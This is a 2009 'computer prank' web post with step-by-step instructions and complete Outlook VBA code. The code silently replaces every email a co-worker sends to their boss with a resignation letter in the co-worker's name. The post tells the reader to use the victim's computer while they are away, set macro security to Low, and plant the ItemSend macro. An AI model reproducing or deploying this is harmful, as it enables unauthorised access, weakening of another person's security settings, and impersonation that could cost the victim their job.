Resignation Letter Prank

• Author: Iambetterthanu.com
• Filed under: Computer Pranks
• Date: Feb 25,2009

***Use of any and all of these pranks is at your own risk. Don’t be stupid.***

Do you have a co-worker you wish would just quit? Well now they will quit and not even realize it. This computer prank will modify emails sent (out of outlook) to the victims boss with a resignation letter. All you have to do is add the code below to Outlook and you’re good to go. Follow the steps below:

1. Gain access to the victim’s computer.  This prank will take a minute at most if you have the code ready.  Wait for them to go to lunch or the bathroom and you should be safe.
2. Open Outlook
3. Change macro security settings to LOW.

   

   1. Click Tools in the top menu
   2. Click Macro
   3. Click Security
   4. Select Low
   5. Hit OK
4. Press Alt + F11 (This will open vba editor)
5. Select ThisOutlookSession in the project window

   

6. Copy and paste the below code into the editor

Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim m As Variant
Dim strBody As String
On Error GoTo ErrorHandler
If Item.To = "Boss Email" Then
Item.Subject = "My Resignation"
Item.Body = "Please accept this letter as notification that" & _
"I am resigning from my position with ABCD Company today." & _
"I apologize for not being able to provide two weeks notice." & _
"However, I regret that, due to circumstances beyond my control, I need to resign immediately." & _
"Please forward my last paycheck to my home address." & vbCrLf & _
"Thank you for the support that you have provided me during my tenure with the company." & vbCrLf & _
"Sincerely," & vbCrLf & vbCrLf & _
"Your Name"
If m = vbNo Then
Cancel = True
GoTo ExitSub
End If
End If
'
ExitSub:
Set Item = Nothing
strBody = ""
Exit Sub
'
ErrorHandler:
MsgBox "Send Checker" & vbCrLf & vbCrLf _
& "Error Code: " & Err.Number & vbCrLf & Err.Description
Err.Clear
GoTo ExitSub
End Sub

7. Edit the information to match theirs.  I.e. Your Name and ABCD Company

8. Change (If Item.To = "Boss Email") to their bosses real name.  It should be in proper case.

9. Press Ctrl + S (Save)
10. Close out the vba editor
11. DONE!

Now all you have to do is, wait for them to send an email to their boss.  No matter what they send to their boss it will be replaced with the resignation.

You can test the email by having the bosses email sent to you.  If everything works simply change the email to bosses email and follow the directions above.